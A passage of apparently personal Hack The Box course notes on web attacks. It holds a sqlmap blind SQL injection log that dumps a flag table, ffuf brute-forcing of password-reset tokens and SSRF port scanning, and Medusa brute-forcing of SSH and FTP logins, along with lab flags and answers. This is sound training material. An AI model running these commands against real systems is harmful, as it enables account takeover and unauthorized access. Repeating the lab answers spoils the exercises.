connection during usage of time-based payloads to prevent potential disruptions do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] web server operating system: Linux Debian 10 (buster) web application technology: Apache 2.4.38 back-end DBMS: MySQL >= 5.0.12 (MariaDB fork) Show all 120 lines Copy [15:15:43] [WARNING] there is a possibility that the target (or WAF/IPS) is dropping 'suspicious' requests [15:21:28] [INFO] (custom) POST parameter 'JSON id' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable [15:22:33] [WARNING] it appears that the character '>' is filtered by the back-end server. You are strongly advised to rerun with the '--tamper=between' (custom) POST parameter 'JSON id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] Copy ─[us-academy-3]─[10.10.14.225]─[htb-ac-1067736@htb-ym6nyh4g52]─[~] └──╼ [★]$ sqlmap -r req.txt --batch --tamper=between --is-dba ___ __H__ ___ ___[(]_____ ___ ___ {1.8.12#stable} |_ -| . [(] | .'| . | |___|_ [.]_|_|_|__,| _| |_|V... |_| https://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting @ 22:48:05 /2025-11-09/ [22:48:05] [INFO] parsing HTTP request from 'req.txt' [22:48:05] [INFO] loading tamper module 'between' JSON data found in POST body. Do you want to process it? [Y/n/q] Y [22:48:05] [INFO] resuming back-end DBMS 'mysql' [22:48:05] [INFO] testing connection to the target URL sqlmap resumed the following injection point(s) from stored session: --- Parameter: JSON id ((custom) POST) Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: {"id":"1 AND (SELECT 7875 FROM (SELECT(SLEEP(5)))AaXi)"} --- [22:48:05] [WARNING] changes made by tampering scripts are not included in shown payload content(s) [22:48:05] [INFO] the back-end DBMS is MySQL web server operating system: Linux Debian 10 (buster) web application technology: Apache 2.4.38 back-end DBMS: MySQL >= 5.0.12 (MariaDB fork) [22:48:05] [INFO] testing if current user is DBA [22:48:05] [INFO] fetching current user [22:48:05] [WARNING] time-based comparison requires larger statistical model, please wait.............................. (done) do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y [22:48:17] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions a [22:48:28] [INFO] adjusting time delay to 2 seconds due to good response times dmin@localhost current user is DBA: False [22:50:19] [INFO] fetched data logged to text files under '/home/htb-ac-1067736/.local/share/sqlmap/output/94.237.52.164' [22:50:19] [WARNING] your sqlmap version is outdated [*] ending @ 22:50:19 /2025-11-09/ Copy sqlmap -r req.txt --batch --tamper=between --dump -T "final_flag" Copy ┌─[us-academy-3]─[10.10.14.225]─[htb-ac-1067736@htb-ym6nyh4g52]─[~] └──╼ [★]$ sqlmap -r req.txt --threads=10 --batch --tamper=between --dump -T "final_flag" ___ __H__ ___ ___[.]_____ ___ ___ {1.8.12#stable} |_ -| . [)] | .'| . | |___|_ ["]_|_|_|__,| _| |_|V... |_| https://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting @ 22:57:06 /2025-11-09/ [22:57:06] [INFO] parsing HTTP request from 'req.txt' [22:57:06] [INFO] loading tamper module 'between' JSON data found in POST body. Do you want to process it? [Y/n/q] Y [22:57:06] [INFO] resuming back-end DBMS 'mysql' [22:57:06] [INFO] testing connection to the target URL sqlmap resumed the following injection point(s) from stored session: --- Parameter: JSON id ((custom) POST) Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: {"id":"1 AND (SELECT 7875 FROM (SELECT(SLEEP(5)))AaXi)"} --- [22:57:07] [WARNING] changes made by tampering scripts are not included in shown payload content(s) [22:57:07] [INFO] the back-end DBMS is MySQL web server operating system: Linux Debian 10 (buster) web application technology: Apache 2.4.38 back-end DBMS: MySQL >= 5.0.12 (MariaDB fork) [22:57:07] [WARNING] missing database parameter. sqlmap is going to use the current database to enumerate table(s) entries [22:57:07] [INFO] fetching current database multi-threading is considered unsafe in time-based data retrieval. Are you sure of your choice (breaking warranty) [y/N] N [22:57:07] [INFO] resumed: production [22:57:07] [INFO] fetching columns for table 'final_flag' in database 'production' [22:57:07] [INFO] resumed: 2 [22:57:07] [INFO] resumed: id [22:57:07] [INFO] resuming partial value: co [22:57:07] [WARNING] time-based comparison requires larger statistical model, please wait.............................. (done) do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y [22:57:18] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions [22:57:29] [INFO] adjusting time delay to 2 seconds due to good response times ntent [22:58:08] [INFO] fetching entries for table 'final_flag' in database 'production' [22:58:08] [INFO] fetching number of entries for table 'final_flag' in database 'production' [22:58:08] [INFO] retrieved: 1 [22:58:12] [WARNING] (case) time-based comparison requires reset of statistical model, please wait.............................. (done) HTB{n07_50_h4rd_r16h7?!} [23:01:51] [INFO] retrieved: 1 Database: production Table: final_flag [1 entry] +----+--------------------------+ | id | content | +----+--------------------------+ | 1 | HTB{n07_50_h4rd_r16h7?!} | +----+--------------------------+ [23:01:57] [INFO] table 'production.final_flag' dumped to CSV file '/home/htb-ac-1067736/.local/share/sqlmap/output/94.237.52.164/dump/production/final_flag.csv' [23:01:57] [INFO] fetched data logged to text files under '/home/htb-ac-1067736/.local/share/sqlmap/output/94.237.52.164' [23:01:57] [WARNING] your sqlmap version is outdated [*] ending @ 23:01:57 /2025-11-09/ --- # Brute-Forcing Password Reset Tokens | CBBH For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt) . This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/brute-force-attacks/brute-forcing-password-reset-tokens.md) . Brute-Forcing Password Reset Tokens[](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/brute-force-attacks/brute-forcing-password-reset-tokens#brute-forcing-password-reset-tokens) -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- * * * Many web applications implement a password-recovery functionality if a user forgets their password. This password-recovery functionality typically relies on a one-time reset token, which is transmitted to the user, for instance, via SMS or E-Mail. The user can then authenticate using this token, enabling them to reset their password and access their account. As such, a weak password-reset token may be brute-forced or predicted by an attacker to take over a victim's account. * * * ### Identifying Weak Reset Tokens[](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/brute-force-attacks/brute-forcing-password-reset-tokens#identifying-weak-reset-tokens) Reset tokens (in the form of a code or temporary password) are secret data generated by an application when a user requests a password reset. The user can then change their password by presenting the reset token. Since password reset tokens enable an attacker to reset an account's password without knowledge of the password, they can be leveraged as an attack vector to take over a victim's account if implemented incorrectly. Password reset flows can be complicated because they consist of several sequential steps; a basic password reset flow is shown below: ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fmodules%2F269%2Fbf%2Freset_bf_1.png&width=768&dpr=3&quality=100&sign=fb52070d&sv=2) Password reset flowchart: User forgets password, requests reset, receives token, uses it to log in, and changes password. Webapp generates and sends token, verifies it, grants login, and forces new password. To identify weak reset tokens, we typically need to create an account on the target web application, request a password reset token, and then analyze it. In this example, let us assume we have received the following password reset e-mail: As we can see, the password reset link contains the reset token in the GET-parameter `token`. In this example, the token is `7351`. Given that the token consists of only a 4-digit number, there can be only `10,000` possible values. This allows us to hijack users' accounts by requesting a password reset and then brute-forcing the token. * * * ### Attacking Weak Reset Tokens[](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/brute-force-attacks/brute-forcing-password-reset-tokens#attacking-weak-reset-tokens) We will use `ffuf` to brute-force all possible reset tokens. First, we need to create a wordlist of all possible tokens from `0000` to `9999`, which we can achieve with `seq`: The `-w` flag pads all numbers to the same length by prepending zeroes, which we can verify by looking at the first few lines of the output file: Assuming that there are users currently in the process of resetting their passwords, we can try to brute-force all active reset tokens. If we want to target a specific user, we should send a password reset request for that user first to create a reset token. We can then specify the wordlist in `ffuf` to brute-force all active reset-tokens: By specifying the reset token in the GET-parameter `token` in the `/reset_password.php` endpoint, we can reset the password of the corresponding account, enabling us to take over the account: arrow-circle-left redo home ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fmodules%2F269%2Fbf%2Freset_bf_2.png&width=768&dpr=3&quality=100&sign=c53ce622&sv=2) #### On what do password recovery functionalities provided by web applications typically rely to allow users to recover their accounts?[](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/brute-force-attacks/brute-forcing-password-reset-tokens#on-what-do-password-recovery-functionalities-provided-by-web-applications-typically-rely-to-allow-us) A: #### Which flag of seq pads numbers by prepending zeros to make them the same length?[](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/brute-force-attacks/brute-forcing-password-reset-tokens#which-flag-of-seq-pads-numbers-by-prepending-zeros-to-make-them-the-same-length) A: \-w #### How many possible values are there for a 6-digit OTP?[](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/brute-force-attacks/brute-forcing-password-reset-tokens#how-many-possible-values-are-there-for-a-6-digit-otp) A: 1000000 #### Takeover another user's account on the target system to obtain the flag.[](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/brute-force-attacks/brute-forcing-password-reset-tokens#takeover-another-users-account-on-the-target-system-to-obtain-the-flag) Go to target site ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2F1842858984-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FysDlYrLDpld6VwcWEx4H%252Fuploads%252FdcUOs2nZK4S1gW1U4i4A%252Fimage.png%3Falt%3Dmedia%26token%3D5e6ed448-820e-4273-abee-2463643eb87c&width=768&dpr=3&quality=100&sign=9122a39&sv=2) Click Reset Your Password ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2F1842858984-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FysDlYrLDpld6VwcWEx4H%252Fuploads%252FjYjAWyf2ngS6bsXCefA0%252Fimage.png%3Falt%3Dmedia%26token%3Dee94feed-f379-4953-bd65-334b5236c0d8&width=768&dpr=3&quality=100&sign=c29c5583&sv=2) I chose admin user to reset the password for ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2F1842858984-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FysDlYrLDpld6VwcWEx4H%252Fuploads%252FaPP88aYoEDvSx0ee9UtH%252Fimage.png%3Falt%3Dmedia%26token%3D166eebb6-03d3-4ea9-b1d8-b80a630a9c16&width=768&dpr=3&quality=100&sign=b46d0f4d&sv=2) ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2F1842858984-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FysDlYrLDpld6VwcWEx4H%252Fuploads%252FGSE3wubs8jGsB3oEjNI5%252Fimage.png%3Falt%3Dmedia%26token%3D9ba10328-df0c-4ea2-a323-898be82a5e20&width=768&dpr=3&quality=100&sign=201739cb&sv=2) I clicked the reset link, retrieved the link and began preparing my attack started by created a tokens.txt Ran ffuf attack with the tokens.txt and the reset\_password link got 1955 so I plugged that back in to the token value ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2F1842858984-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FysDlYrLDpld6VwcWEx4H%252Fuploads%252FDMoTSDPVPzIgj5cMQItE%252Fimage.png%3Falt%3Dmedia%26token%3D0893f499-663a-4afb-946c-63b5de69f80a&width=768&dpr=3&quality=100&sign=12cacc1d&sv=2) Got the reset verification ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2F1842858984-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FysDlYrLDpld6VwcWEx4H%252Fuploads%252Fxxn0qdA1gV8bHB8ywZuN%252Fimage.png%3Falt%3Dmedia%26token%3Dabe56880-2c56-4eb2-a175-20fd90030cd4&width=768&dpr=3&quality=100&sign=7299e8aa&sv=2) set password to admin admin and logged in ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2F1842858984-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FysDlYrLDpld6VwcWEx4H%252Fuploads%252Fkbzr6KTnwOhPZj5Bgcet%252Fimage.png%3Falt%3Dmedia%26token%3D0d91b3f0-eb2f-4ba1-aa48-049188aa176e&width=768&dpr=3&quality=100&sign=458dfbdf&sv=2) A: HTB{36da098385e641d54e1b2750721d816e} [PreviousBrute-Forcing Passwords](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/brute-force-attacks/brute-forcing-passwords) [NextBrute-Forcing 2FA Codes](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/brute-force-attacks/brute-forcing-2fa-codes) Last updated 9 months ago * [Brute-Forcing Password Reset Tokens](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/brute-force-attacks/brute-forcing-password-reset-tokens#brute-forcing-password-reset-tokens) * [Identifying Weak Reset Tokens](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/brute-force-attacks/brute-forcing-password-reset-tokens#identifying-weak-reset-tokens) * [Attacking Weak Reset Tokens](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/brute-force-attacks/brute-forcing-password-reset-tokens#attacking-weak-reset-tokens) Copy Hello, We have received a request to reset the password associated with your account. To proceed with resetting your password, please follow the instructions below: 1. Click on the following link to reset your password: Click 2. If the above link doesn't work, copy and paste the following URL into your web browser: http://weak_reset.htb/reset_password.php?token=7351 Please note that this link will expire in 24 hours, so please complete the password reset process as soon as possible. If you did not request a password reset, please disregard this e-mail. Thank you. Copy [!bash!]$ seq -w 0 9999 > tokens.txt Copy [!bash!]$ head tokens.txt 0000 0001 0002 0003 0004 0005 0006 0007 0008 0009 Copy [!bash!]$ ffuf -w ./tokens.txt -u http://weak_reset.htb/reset_password.php?token=FUZZ -fr "The provided token is invalid" <SNIP> [Status: 200, Size: 2667, Words: 538, Lines: 90, Duration: 1ms] * FUZZ: 6182 Copy ┌──(kali㉿kali)-[~] └─$ seq -w 0 9999 > tokens.txt # Verify Token Creation ┌──(kali㉿kali)-[~] └─$ head tokens.txt 0000 0001 0002 0003 0004 0005 0006 0007 0008 0009 Copy ┌──(kali㉿kali)-[~] └─$ ffuf -w ./tokens.txt -u http://94.237.48.51:37883/reset_password.php?token=FUZZ -fr "The provided token is invalid" -t 200 /'___\ /'___\ /'___\ /\ \__/ /\ \__/ __ __ /\ \__/ \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\ \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/ \ \_\ \ \_\ \ \____/ \ \_\ \/_/ \/_/ \/___/ \/_/ v2.1.0-dev ________________________________________________ :: Method : GET :: URL : http://94.237.48.51:37883/reset_password.php?token=FUZZ :: Wordlist : FUZZ: /home/kali/tokens.txt :: Follow redirects : false :: Calibration : false :: Timeout : 10 :: Threads : 200 :: Matcher : Response status: 200-299,301,302,307,401,403,405,500 :: Filter : Regexp: The provided token is invalid ________________________________________________ 1955 [Status: 200, Size: 2920, Words: 596, Lines: 92, Duration: 146ms] :: Progress: [10000/10000] :: Job [1/1] :: 167 req/sec :: Duration: [0:00:21] :: Errors: 0 :: --- # Blind SSRF | CBBH For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt) . This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssrf/blind-ssrf.md) . In many real-world SSRF vulnerabilities, the response is not directly displayed to us. These instances are called `blind` SSRF vulnerabilities because we cannot see the response. As such, all of the exploitation vectors discussed in the previous sections are unavailable to us because they all rely on us being able to inspect the response. Therefore, the impact of blind SSRF vulnerabilities is generally significantly lower due to the severely restricted exploitation vectors. * * * ### Identifying Blind SSRF[](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssrf/blind-ssrf#identifying-blind-ssrf) The sample web application behaves just like in the previous section. We can confirm the SSRF vulnerability just like we did before by supplying a URL to a system under our control and setting up a `netcat` listener: Blind SSRF Copy Code4Christ@htb[/htb]$ nc -lnvp 8000 listening on [any] 8000 ... connect to [172.17.0.1] from (UNKNOWN) [172.17.0.2] 32928 GET /index.php HTTP/1.1 Host: 172.17.0.1:8000 Accept: */* However, if we attempt to point the web application to itself, we can observe that the response does not contain the HTML response of the coerced request; instead, it simply lets us know that the date is unavailable. Therefore, this is a blind SSRF vulnerability: ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fmodules%2F145%2Fssrf%2Fssrf_blind_1.png&width=768&dpr=3&quality=100&sign=a847284c&sv=2) HTTP POST request to /index.php with date parameter; response indicates date is unavailable. * * * ### Exploiting Blind SSRF[](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssrf/blind-ssrf#exploiting-blind-ssrf) Exploiting blind SSRF vulnerabilities is generally severely limited compared to non-blind SSRF vulnerabilities. However, depending on the web application's behavior, we might still be able to conduct a (restricted) local port scan of the system, provided the response differs for open and closed ports. In this case, the web application responds with `Something went wrong!` for closed ports: ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fmodules%2F145%2Fssrf%2Fssrf_blind_2.png&width=768&dpr=3&quality=100&sign=ed36e0c3&sv=2) HTTP POST request to /index.php with date parameter; response indicates an error: 'Something went wrong!' However, if a port is open and responds with a valid HTTP response, we get a different error message: ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fmodules%2F145%2Fssrf%2Fssrf_blind_3.png&width=768&dpr=3&quality=100&sign=3c6a1e22&sv=2) HTTP POST request to /index.php with date parameter; response indicates date is unavailable. Depending on how the web application catches unexpected errors, we might be unable to identify running services that do not respond with valid HTTP responses. For instance, we are unable to identify the running MySQL service using this technique: ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fmodules%2F145%2Fssrf%2Fssrf_blind_4.png&width=768&dpr=3&quality=100&sign=38e9feb9&sv=2) HTTP POST request to /index.php with date parameter; response indicates an error: 'Something went wrong!' Furthermore, while we cannot read local files like before, we can use the same technique to identify existing files on the filesystem. That is because the error message is different for existing and non-existing files, just like it differs for open and closed ports: ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fmodules%2F145%2Fssrf%2Fssrf_blind_5.png&width=768&dpr=3&quality=100&sign=29e3be28&sv=2) HTTP POST request to /index.php with date parameter; response indicates date is unavailable. For invalid files, the error message is different: ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fmodules%2F145%2Fssrf%2Fssrf_blind_6.png&width=768&dpr=3&quality=100&sign=9d84e56f&sv=2) HTTP POST request to /index.php with date parameter; response indicates an error: 'Something went wrong!' Exploit the SSRF to identify open ports on the system. Which port is open in addition to port 80? Run initially to see most common response, I see a lot of 200 and word size of 3 So to find the answer just filter out the word size of 3 ("something went wrong") Answer: 5000 [PreviousExploiting SSRF](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssrf/exploiting-ssrf) [NextPreventing SSRF](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssrf/preventing-ssrf) Last updated 10 months ago * [Identifying Blind SSRF](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssrf/blind-ssrf#identifying-blind-ssrf) * [Exploiting Blind SSRF](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssrf/blind-ssrf#exploiting-blind-ssrf) Copy // No filters at first ffuf -w /usr/share/seclists/Discovery/Infrastructure/Ports-1-To-65535.txt -u http://10.129.30.48/index.php -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "dateserver=http://127.0.0.1:FUZZ&date=2024-01-01" /'___\ /'___\ /'___\ /\ \__/ /\ \__/ __ __ /\ \__/ \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\ \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/ \ \_\ \ \_\ \ \____/ \ \_\ \/_/ \/_/ \/___/ \/_/ v2.1.0-dev ________________________________________________ :: Method : POST :: URL : http://10.129.30.48/index.php :: Wordlist : FUZZ: /usr/share/seclists/Discovery/Infrastructure/Ports-1-To-65535.txt :: Header : Content-Type: application/x-www-form-urlencoded :: Data : dateserver=http://127.0.0.1:FUZZ&date=2024-01-01 :: Follow redirects : false :: Calibration : false :: Timeout : 10 :: Threads : 40 :: Matcher : Response status: 200-299,301,302,307,401,403,405,500 ________________________________________________ 5 [Status: 200, Size: 21, Words: 3, Lines: 1, Duration: 65ms] 4 [Status: 200, Size: 21, Words: 3, Lines: 1, Duration: 71ms] 40 [Status: 200, Size: 21, Words: 3, Lines: 1, Duration: 71ms] 27 [Status: 200, Size: 21, Words: 3, Lines: 1, Duration: 75ms] 10 [Status: 200, Size: 21, Words: 3, Lines: 1, Duration: 76ms] 26 [Status: 200, Size: 21, Words: 3, Lines: 1, Duration: 76ms] Copy // filter Word Count ┌──(kali㉿kali)-[/Gopherus] └─$ ffuf -w /usr/share/seclists/Discovery/Infrastructure/Ports-1-To-65535.txt -u http://10.129.30.48/index.php -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "dateserver=http://127.0.0.1:FUZZ&date=2024-01-01" -fw 3 /'___\ /'___\ /'___\ /\ \__/ /\ \__/ __ __ /\ \__/ \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\ \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/ \ \_\ \ \_\ \ \____/ \ \_\ \/_/ \/_/ \/___/ \/_/ v2.1.0-dev ________________________________________________ :: Method : POST :: URL : http://10.129.30.48/index.php :: Wordlist : FUZZ: /usr/share/seclists/Discovery/Infrastructure/Ports-1-To-65535.txt :: Header : Content-Type: application/x-www-form-urlencoded :: Data : dateserver=http://127.0.0.1:FUZZ&date=2024-01-01 :: Follow redirects : false :: Calibration : false :: Timeout : 10 :: Threads : 40 :: Matcher : Response status: 200-299,301,302,307,401,403,405,500 :: Filter : Response words: 3 ________________________________________________ 80 [Status: 200, Size: 52, Words: 8, Lines: 1, Duration: 4175ms] 5000 [Status: 200, Size: 52, Words: 8, Lines: 1, Duration: 61ms] --- # Web Services | CBBH For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt) . This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/medusa/web-services.md) . In the dynamic landscape of cybersecurity, maintaining robust authentication mechanisms is paramount. While technologies like Secure Shell (`SSH`) and File Transfer Protocol (`FTP`) facilitate secure remote access and file management, they are often reliant on traditional username-password combinations, presenting potential vulnerabilities exploitable through brute-force attacks. In this module, we will delve into the practical application of `Medusa`, a potent brute-forcing tool, to systematically compromise both SSH and FTP services, thereby illustrating potential attack vectors and emphasizing the importance of fortified authentication practices. `SSH` is a cryptographic network protocol that provides a secure channel for remote login, command execution, and file transfers over an unsecured network. Its strength lies in its encryption, which makes it significantly more secure than unencrypted protocols like `Telnet`. However, weak or easily guessable passwords can undermine SSH's security, exposing it to brute-force attacks. `FTP` is a standard network protocol for transferring files between a client and a server on a computer network. It's also widely used for uploading and downloading files from websites. However, standard FTP transmits data, including login credentials, in cleartext, rendering it susceptible to interception and brute-forcing. ### Kick-off[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/medusa/web-services#kick-off) To follow along, start the target system via the question section at the bottom of the page. We begin our exploration by targeting an SSH server running on a remote system. Assuming prior knowledge of the username `sshuser`, we can leverage Medusa to attempt different password combinations until successful authentication is achieved systematically. The following command serves as our starting point: Web Services Copy hack3rSWE@htb[/htb]$ medusa -h <IP> -n <PORT> -u sshuser -P 2023-200_most_used_passwords.txt -M ssh -t 3 Let's break down each component: * `-h <IP>`: Specifies the target system's IP address. * `-n <PORT>`: Defines the port on which the SSH service is listening (typically port 22). * `-u sshuser`: Sets the username for the brute-force attack. * `-P 2023-200_most_used_passwords.txt`: Points Medusa to a wordlist containing the 200 most commonly used passwords in 2023. The effectiveness of a brute-force attack is often tied to the quality and relevance of the wordlist used. * `-M ssh`: Selects the SSH module within Medusa, tailoring the attack specifically for SSH authentication. * `-t 3`: Dictates the number of parallel login attempts to execute concurrently. Increasing this number can speed up the attack but may also increase the likelihood of detection or triggering security measures on the target system. Web Services Upon execution, Medusa will display its progress as it cycles through the password combinations. The output will indicate a successful login, revealing the correct password. ### Gaining Access[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/medusa/web-services#gaining-access) With the password in hand, establish an SSH connection using the following command and enter the found password when prompted: Web Services This command will initiate an interactive SSH session, granting you access to the remote system's command line. #### Expanding the Attack Surface[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/medusa/web-services#expanding-the-attack-surface) Once inside the system, the next step is identifying other potential attack surfaces. Using `netstat` (within the SSH session) to list open ports and listening services, you discover a service running on port 21. Web Services Further reconnaissance with `nmap` (within the SSH session) confirms this finding as an ftp server. Web Services #### Targeting the FTP Server[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/medusa/web-services#targeting-the-ftp-server) Having identified the FTP server, you can proceed to brute-force its authentication mechanism. If we explore the `/home` directory on the target system, we see an `ftpuser` folder, which implies the likelihood of the FTP sever username being `ftpuser`. Based on this, we can modify our Medusa command accordingly: Web Services The key differences here are: * `-h 127.0.0.1`: Targets the local system, as the FTP server is running locally. Using the IP address tells medusa explicitly to use IPv4. * `-u ftpuser`: Specifies the username `ftpuser`. * `-M ftp`: Selects the FTP module within Medusa. * `-t 5`: Increases the number of parallel login attempts to 5. #### Retrieving The Flag[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/medusa/web-services#retrieving-the-flag) Upon successfully cracking the FTP password, establish an FTP connection. Within the FTP session, use the `get` command to download the `flag.txt` file, which may contain sensitive information.: Web Services Then read the file to get the flag: Web Services The ease with which such attacks can be executed underscores the importance of employing strong, unique passwords. What was the password for the ftpuser?[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/medusa/web-services#what-was-the-password-for-the-ftpuser) ----------------------------------------------------------------------------------------------------------------------------------------------------------------- After successfully brute-forcing the ssh session, and then logging into the ftp server on the target, what is the full flag found within flag.txt?[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/medusa/web-services#after-successfully-brute-forcing-the-ssh-session-and-then-logging-into-the-ftp-server-on-the-target) ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- [PreviousMedusa](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/medusa) [NextCustom Wordlists](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/medusa/custom-wordlists) Last updated 1 year ago * [Kick-off](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/medusa/web-services#kick-off) * [Gaining Access](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/medusa/web-services#gaining-access) * [What was the password for the ftpuser?](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/medusa/web-services#what-was-the-password-for-the-ftpuser) * [After successfully brute-forcing the ssh session, and then logging into the ftp server on the target, what is the full flag found within flag.txt?](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/medusa/web-services#after-successfully-brute-forcing-the-ssh-session-and-then-logging-into-the-ftp-server-on-the-target) Copy hack3rSWE@htb[/htb]$ medusa -h IP -n PORT -u sshuser -P 2023-200_most_used_passwords.txt -M ssh -t 3 Medusa v2.2 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net> ... ACCOUNT FOUND: [ssh] Host: IP User: sshuser Password: 1q2w3e4r5t [SUCCESS] Copy hack3rSWE@htb[/htb]$ ssh sshuser@<IP> -p PORT Copy hack3rSWE@htb[/htb]$ netstat -tulpn | grep LISTEN tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN - tcp6 0 0 :::22 :::* LISTEN - tcp6 0 0 :::21 :::* LISTEN - Copy hack3rSWE@htb[/htb]$ nmap localhost Starting Nmap 7.80 ( https://nmap.org ) at 2024-09-05 13:19 UTC Nmap scan report for localhost (127.0.0.1) Host is up (0.000078s latency). Other addresses for localhost (not scanned): ::1 Not shown: 998 closed ports PORT STATE SERVICE 21/tcp open ftp 22/tcp open ssh Nmap done: 1 IP address (1 host up) scanned in 0.05 seconds Copy hack3rSWE@htb[/htb]$ medusa -h 127.0.0.1 -u ftpuser -P 2020-200_most_used_passwords.txt -M ftp -t 5 Medusa v2.2 [http://www.foofus.net] (C) 